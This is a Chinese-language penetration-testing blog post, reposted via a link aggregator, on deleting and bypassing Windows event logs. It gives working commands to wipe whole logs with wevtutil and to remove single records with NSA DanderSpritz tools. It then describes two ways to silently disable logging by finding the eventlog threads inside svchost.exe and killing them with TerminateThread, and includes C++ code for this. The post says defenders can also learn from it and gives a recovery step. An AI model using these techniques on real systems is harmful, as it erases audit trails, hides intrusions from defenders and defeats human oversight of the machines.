渗透技巧——Windows日志的删除与绕过
source link: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
0x00 前言
在渗透测试过程中,Windows日志往往会记录系统上的敏感操作,如添加用户,远程登录执行等。
对于一次完整的渗透测试,通常会选择对Windows日志进行清除和绕过,而对于防御者来说,了解常用的绕过方法也有助于更好的保护自己的系统。
所以本文将要介绍常见的Windows日志清除与绕过方法,分享经验,帮助大家。
0x01 简介
本文将要介绍以下内容:
- Windows日志的常用清除方法
- Windows日志的两种绕过方法
0x02 Windows日志
Windows日志包括五个类别:
- Setup
查看方式:
1、 通过面板
位置如下:
Control Panel\System and Security-View event logs-Windows Logs
2、 通过Powershell
常用命令如下:
(管理员权限)
查看所有日志:
Get-WinEvent
查看应用程序类别下的日志:
Get-WinEvent -FilterHashtable @{logname="Application";}
0x03 Windows日志的常用清除方法
1、wevtutil.exe
操作系统默认包含,支持系统:Win7及以上
常用命令如下:
(1) 统计日志列表,查询所有日志信息,包含时间,数目
wevtutil.exe gli Application
操作如下图
(2) 查看指定类别的日志内容
wevtutil qe /f:text Application
操作如下图
(3) 删除该类日志所有内容
wevtutil cl Application
操作如下图
Application日志全部清除,数目为0
(4) 删除单条内容
2、NSA DanderSpiritz
DanderSpritz是NSA的一款界面化的远控工具
相关介绍可参考:
https://3gstudent.github.io/3gstudent.github.io/NSA-DanderSpiritz%E6%B5%8B%E8%AF%95%E6%8C%87%E5%8D%97-%E6%9C%A8%E9%A9%AC%E7%94%9F%E6%88%90%E4%B8%8E%E6%B5%8B%E8%AF%95/
常用命令如下:
(1) 统计日志列表,查询所有日志信息,包含时间,数目
eventlogquery -log Application
(2) 查看指定类别的日志内容
eventlogfilter -log Application -num 10
(3) 删除该类日志所有内容
eventlogclear -log Application
(4) 删除单条内容
eventlogedit -log Application -record 1
注:
record序号可通过eventlogfilter获得
0x04 Windows日志的绕过方法
本文介绍的思路参考自Halil Dalabasmaz@hlldz的文章,地址如下:
https://artofpwn.com/phant0m-killing-windows-event-log.html
绕过原理:
Windows日志对应于eventlog服务,找到该服务对应的进程svchost.exe,进而筛选出svchost.exe进程中具体实现日志功能的线程,调用TerminateThread结束线程,破坏日志记录功能
特别的地方:
由于只结束了实现日志功能的线程,所以Windows Event Log服务没有被破坏,状态仍为正在运行
绕过方法一
1、 定位eventlog服务对应进程svchost.exe的pid
2、 遍历该进程中的所有线程
3、 判断线程是否满足条件
Windows Event Log 服务需要调用wevtsvc.dll,完整路径为%WinDir%\System32\wevtsvc.dll
并且,如果线程调用了wevtsvc.dll,就可以判读该线程实现了日志记录功能
4、 结束线程
使用TerminateThread
注:
Halil Dalabasmaz@hlldz使用powershell实现了方法一,完整代码可参考:
https://github.com/hlldz/Invoke-Phant0m
powershell脚本执行后,Windows日志功能失效,无法记录日志,操作如下图
5、 恢复方法
结束进程svchost.exe
重新开启Windows Event Log 服务:
net start eventlog
操作如下图
绕过方法二
1、 定位eventlog服务对应进程svchost.exe的pid
powershell代码如下:
Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId
找到svchost.exe的pid为7008,如下图
2、 遍历该进程中的所有线程
使用PsList
下载地址:
https://technet.microsoft.com/en-us/sysinternals/bb896682.aspx
具体参数如下:
pslist.exe /accepteula -d 7008
获取进程svchost.exe中的所有线程,如下图
3、 判断线程是否满足条件
获取线程对应的服务,如果为eventlog,则满足条件
使用工具:ScTagQuery
下载地址:
http://www.winsiderss.com/tools/sctagquery/sctagqry.zip
具体参数如下:
sctagqry.exe -t 7928
根据返回的结果Service Tag,判断线程对应的服务
找到对应eventlog的线程,如下图
线程8136符合条件,依次尝试,直到获取所有符合条件线程
注:
使用Process Explorer可以简化此过程
找到eventlog服务对应进程svchost.exe
右键查看属性,选择Threads标签,查看线程,可直接获得线程对应的服务
符合条件的线程TID为:
4、 结束线程
调用TerminateThread
通过c++实现,部分代码如下:
int main(int argc, char* argv[])
{
printf("TerminateThread TID:\n");
for(int i=1;i<argc;i++)
{
printf("%s\n",argv[i]);
HANDLE hThread = OpenThread(0x0001, FALSE,atoi(argv[i]));
if(TerminateThread(hThread,0)==0)
printf("[!] TerminateThread Error, TID: %s \n",argv[i]);
CloseHandle(hThread);
}
return 0;
}
完整代码已上传至github,地址如下:
https://github.com/3gstudent/Windwos-EventLog-Bypass/blob/master/TerminateEventLogThread.cpp
控制台支持传入多个参数,向其传入5个TID: 8136 8052 6708 2316 6356
自动结束对应线程,日志功能失效
具体操作如下图
注:
稍后我会在github上更新该绕过方法的完整实现代码,地址如下:
https://github.com/3gstudent/Windwos-EventLog-Bypass
0x05 补充
1、安装sysmon可对Windows日志功能进行扩展
相关介绍和绕过思路可参考;
https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7/
2、绕过方法仅针对Windows日志
对应用程序和服务日志失效,例如Windows Powershell
0x06 小结
本文对Windows日志的清除和绕过方法做了介绍,希望能够帮助大家,接下来会分享绕过方法二的具体程序实现方法。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK